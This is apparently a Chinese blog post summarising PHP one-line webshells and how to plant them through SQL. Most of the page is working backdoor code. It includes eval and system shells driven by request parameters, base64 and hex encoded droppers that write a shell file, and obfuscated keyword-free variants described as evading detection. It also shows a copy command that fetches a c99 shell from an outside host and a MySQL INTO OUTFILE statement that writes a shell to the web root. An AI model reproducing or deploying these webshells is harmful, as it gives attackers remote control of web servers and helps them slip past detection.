PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
PHP脚本的10个技巧(6)
Oct 09 PHP
一个PHP验证码类代码分享(已封装成类)
Jul 17 PHP
PHP 图片水印类代码
Aug 27 PHP
PHP Global定义全局变量使用说明
Aug 15 PHP
CI框架整合widget(页面格局)的方法
May 17 PHP
ThinkPHP和UCenter接口冲突的解决方法
Jul 25 PHP
ThinkPHP模板标签eq if 中区分0,null,false的方法
Mar 24 PHP
谈谈从phpinfo中能获取哪些值得注意的信息
Mar 28 PHP
php成功操作redis cluster集群的实例教程
Jan 13 PHP
Windows平台PHP+IECapt实现网页批量截图并创建缩略图功能详解
Aug 02 PHP
PhpStorm连接服务器并实现自动上传功能
Dec 09 PHP
thinkphp5 redis缓存新增方法实例讲解
Mar 24 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
php实现12306火车票余票查询和价格查询(12306火车票查询)
2014/01/14 PHP
PHP动态页生成静态页的3种常用方法
2014/11/13 PHP
php设计模式之中介者模式分析【星际争霸游戏案例】
2020/03/23 PHP
从Ajax到JQuery Ajax学习
2007/02/14 Javascript
谈谈JavaScript中的函数与闭包
2013/04/14 Javascript
Node.js 的异步 IO 性能探讨
2014/10/08 Javascript
javascript制作坦克大战全纪录(2)
2014/11/27 Javascript
jQuery源码分析之Callbacks详解
2015/03/13 Javascript
jQuery验证插件validation使用指南
2015/04/21 Javascript
基于Jquery和html5的7款个性化地图插件
2015/11/17 Javascript
js中字符串编码函数escape()、encodeURI()、encodeURIComponent()区别详解
2016/04/01 Javascript
vue多级多选菜单组件开发
2020/09/08 Javascript
JS条形码(一维码)插件JsBarcode用法详解【编码类型、参数、属性】
2017/04/19 Javascript
JS实现碰撞检测的方法分析
2018/01/19 Javascript
Koa项目搭建过程详细记录
2018/04/12 Javascript
element-ui表格数据转换的示例代码
2018/08/24 Javascript
layui动态渲染生成select的option值方法
2019/09/23 Javascript
js实现数据导出为EXCEL(支持大量数据导出)
2020/03/31 Javascript
快速解决element的autofocus失效问题
2020/09/08 Javascript
Python下载懒人图库JavaScript特效
2015/05/28 Python
pycharm创建一个python包方法图解
2019/04/10 Python
python命令 -u参数用法解析
2019/10/24 Python
使用 Python 在京东上抢口罩的思路详解
2020/02/27 Python
Python虚拟环境库virtualenvwrapper安装及使用
2020/06/17 Python
Numpy中np.max的用法及np.maximum区别
2020/11/27 Python
python 录制系统声音的示例
2020/12/21 Python
Tea Collection官网:一家位于旧金山的童装公司
2020/08/07 全球购物
经典c++面试题四
2015/05/14 面试题
求职推荐信
2013/10/28 职场文书
服务中心夜班服务员岗位职责
2013/11/27 职场文书
平面网站制作专科生的自我评价分享
2013/12/11 职场文书
简单租房协议书
2014/04/09 职场文书
2014年党员自我评议总结
2014/09/23 职场文书
社区个人对照检查材料(群众路线)
2014/09/26 职场文书
学生评语集锦
2015/01/04 职场文书
医院营销工作计划
2015/01/16 职场文书